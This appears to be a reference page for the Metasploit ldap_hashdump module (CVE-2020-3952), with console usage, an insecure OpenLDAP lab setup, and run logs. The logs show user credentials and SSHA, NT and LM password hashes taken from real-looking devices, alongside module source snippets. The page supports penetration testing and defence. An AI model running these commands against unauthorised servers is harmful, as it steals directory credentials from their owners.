LDAP Information Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/gather/ldap_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: LDAP Information Disclosure
Module: auxiliary/gather/ldap_hashdump
Source code: modules/auxiliary/gather/ldap_hashdump.rb
Disclosure date: 2020-07-23
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 636
List of CVEs: CVE-2020-3952
This module uses an anonymous-bind LDAP connection to dump data from an LDAP server. Searching for attributes with user credentials (e.g. userPassword).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/gather/ldap_hashdump
msf auxiliary(ldap_hashdump) > show options
... show and set options ...
msf auxiliary(ldap_hashdump) > set RHOSTS ip-range
msf auxiliary(ldap_hashdump) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(ldap_hashdump) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(ldap_hashdump) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(ldap_hashdump) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module uses an LDAP connection to dump data from LDAP server using an anonymous or authenticated bind. Searching for specific attributes it collects user credentials.
Setup
Tested in the wild.
You may eventually setup an intentionally insecure OpenLDAP server in docker. The below OpenLDAP server does not have any ACL, therefore the hashPassword attributes are readable by anonymous clients.
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 1389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) >
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
Verification Steps
Actions
Dump
Dump all LDAP data from the LDAP server.
Options
BASE_DN
If you already have the LDAP base DN, you may set it in this option.
USER_ATTR
LDAP attribute to take the user name from. Defaults to DN, however you may wish to change it UID, name or similar.
PASS_ATTR
LDAP attribute to take the password hash from. Defaults to userPassword, some LDAP server may use different attribute, e.g. unixUserPassword, sambantpassword, sambalmpassword.
Scenarios
Avaya Communication Manager via anonymous bind
msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
NASDeluxe - NAS with Samba LM/NTLM hashes
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the gather/ldap_hashdump auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/ldap_hashdump
msf6 auxiliary(gather/ldap_hashdump) > show info
Name: LDAP Information Disclosure
Module: auxiliary/gather/ldap_hashdump
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-07-23
Provided by:
Hynek Petrak
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
Dump Dump all LDAP data
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
MAX_LOOT no Maximum number of LDAP entries to loot
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword yes LDAP attribute, that contains password hashes
READ_TIMEOUT 600 no LDAP read timeout in seconds
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
THREADS 1 yes The number of concurrent threads (max one per host)
USER_ATTR dn no LDAP attribute(s), that contains username
Description:
This module uses an anonymous-bind LDAP connection to dump data from
an LDAP server. Searching for attributes with user credentials (e.g.
userPassword).
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-3952
https://www.vmware.com/security/advisories/VMSA-2020-0006.html
Module Options
This is a complete list of options available in the gather/ldap_hashdump auxiliary module:
msf6 auxiliary(gather/ldap_hashdump) > show options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
MAX_LOOT no Maximum number of LDAP entries to loot
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword yes LDAP attribute, that contains password hashes
READ_TIMEOUT 600 no LDAP read timeout in seconds
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
THREADS 1 yes The number of concurrent threads (max one per host)
USER_ATTR dn no LDAP attribute(s), that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
Advanced Options
Here is a complete list of advanced options supported by the gather/ldap_hashdump auxiliary module:
msf6 auxiliary(gather/ldap_hashdump) > show advanced
Module advanced options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
LDAP::ConnectTimeout 10.0 yes Timeout for LDAP connect
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/ldap_hashdump module can do:
msf6 auxiliary(gather/ldap_hashdump) > show actions
Auxiliary actions:
Name Description
---- -----------
Dump Dump all LDAP data
Evasion Options
Here is the full list of possible evasion options supported by the gather/ldap_hashdump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/ldap_hashdump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- LDAP error <OPRES.CODE>: <OPRES.MESSAGE>
- The timeout expired while reading naming contexts
- <PEER> Falling back to an empty base DN
- Server did not return any data, seems to be safe
- The timeout expired while searching directory
- Exception occurred: <E.CLASS>: <E.MESSAGE>
- <PEER> Host timeout reached while searching '<BASE_DN>'
- <PEER> No entries returned for '<BASE_DN>'.
- <PEER> Could not store LDAP data in loot
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
LDAP error <OPRES.CODE>: <OPRES.MESSAGE>
Here is a relevant code snippet related to the "LDAP error <OPRES.CODE>: <OPRES.MESSAGE>" error message:
64: @user_attr ||= 'dn'
65: end
66:
67: def print_ldap_error(ldap)
68: opres = ldap.get_operation_result
69: msg = "LDAP error #{opres.code}: #{opres.message}"
70: unless opres.error_message.to_s.empty?
71: msg += " - #{opres.error_message}"
72: end
73: print_error("#{peer} #{msg}")
74: end
The timeout expired while reading naming contexts
Here is a relevant code snippet related to the "The timeout expired while reading naming contexts" error message:
106: # HACK: fix lack of read/write timeout in Net::LDAP
107: Timeout.timeout(@read_timeout) do
108: naming_contexts = get_naming_contexts(ldap)
109: end
110: rescue Timeout::Error
111: fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
112: ensure
113: unless ldap.get_operation_result.code == 0
114: print_ldap_error(ldap)
115: end
116: end
<PEER> Falling back to an empty base DN
Here is a relevant code snippet related to the "<PEER> Falling back to an empty base DN" error message:
114: print_ldap_error(ldap)
115: end
116: end
117:
118: if naming_contexts.nil? || naming_contexts.empty?
119: vprint_warning("#{peer} Falling back to an empty base DN")
120: naming_contexts = ['']
121: end
122: end
123:
124: @max_loot = datastore['MAX_LOOT']
Server did not return any data, seems to be safe
Here is a relevant code snippet related to the "Server did not return any data, seems to be safe" error message:
148: end
149: end
150:
151: # Safe if server did not returned anything
152: unless (entries_returned > 0)
153: fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154: end
155: rescue Timeout::Error
156: fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157: rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158: fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
The timeout expired while searching directory
Here is a relevant code snippet related to the "The timeout expired while searching directory" error message:
151: # Safe if server did not returned anything
152: unless (entries_returned > 0)
153: fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154: end
155: rescue Timeout::Error
156: fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157: rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158: fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
159: end
160:
161: def ldap_search(ldap, base_dn, args)
Exception occurred: <E.CLASS>: <E.MESSAGE>
Here is a relevant code snippet related to the "Exception occurred: <E.CLASS>: <E.MESSAGE>" error message:
153: fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
154: end
155: rescue Timeout::Error
156: fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
157: rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
158: fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
159: end
160:
161: def ldap_search(ldap, base_dn, args)
162: entries_returned = 0
163: creds_found = 0
<PEER> Host timeout reached while searching '<BASE_DN>'
Here is a relevant code snippet related to the "<PEER> Host timeout reached while searching '<BASE_DN>'" error message:
185: end
186: end
187: end
188: end
189: rescue Timeout::Error
190: print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
191: return entries_returned
192: ensure
193: unless ldap.get_operation_result.code == 0
194: print_ldap_error(ldap)
195: end
<PEER> No entries returned for '<BASE_DN>'.
Here is a relevant code snippet related to the "<PEER> No entries returned for '<BASE_DN>'." error message:
196: if entries_returned > 0
197: print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
198: f.rewind
199: pillage(f.read, base_dn)
200: elsif ldap.get_operation_result.code == 0
201: print_error("#{peer} No entries returned for '#{base_dn}'.")
202: end
203: end
204: end
205: entries_returned
206: end
<PEER> Could not store LDAP data in loot
Here is a relevant code snippet related to the "<PEER> Could not store LDAP data in loot" error message:
223: nil, # filename
224: "Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn
225: )
226:
227: unless ldif_filename
228: print_error("#{peer} Could not store LDAP data in loot")
229: return
230: end
231:
232: print_good("#{peer} Saved LDAP data to #{ldif_filename}")
233: end
Go back to menu.
Related Pull Requests
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13906 Merged Pull Request: Add generic LDAP hashdump module
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- auxiliary/gather/ldap_esc_vulnerable_cert_finder
- auxiliary/gather/ldap_query
- auxiliary/admin/ldap/rbcd
- exploit/windows/ldap/imail_thc
- exploit/windows/ldap/pgp_keyserver7
- auxiliary/dos/wireshark/cldap
- auxiliary/dos/wireshark/ldap
- auxiliary/gather/xerox_workcentre_5xxx_ldap
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
- auxiliary/server/ldap
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mysql/mysql_authbypass_hashdump
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/oracle/oracle_hashdump
- auxiliary/scanner/postgres/postgres_hashdump
- post/aix/hashdump
- post/android/gather/hashdump
- post/bsd/gather/hashdump
- post/linux/gather/hashdump
- post/osx/gather/hashdump
- post/solaris/gather/hashdump
- post/windows/gather/credentials/domain_hashdump
- post/windows/gather/credentials/mcafee_vse_hashdump
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/gather/hashdump
- post/windows/gather/smart_hashdump
- exploit/linux/http/pineapp_ldapsyncnow_exec
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/multi/http/phpldapadmin_query_engine
- exploit/windows/http/apache_mod_rewrite_ldap
Authors
- Hynek Petrak
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.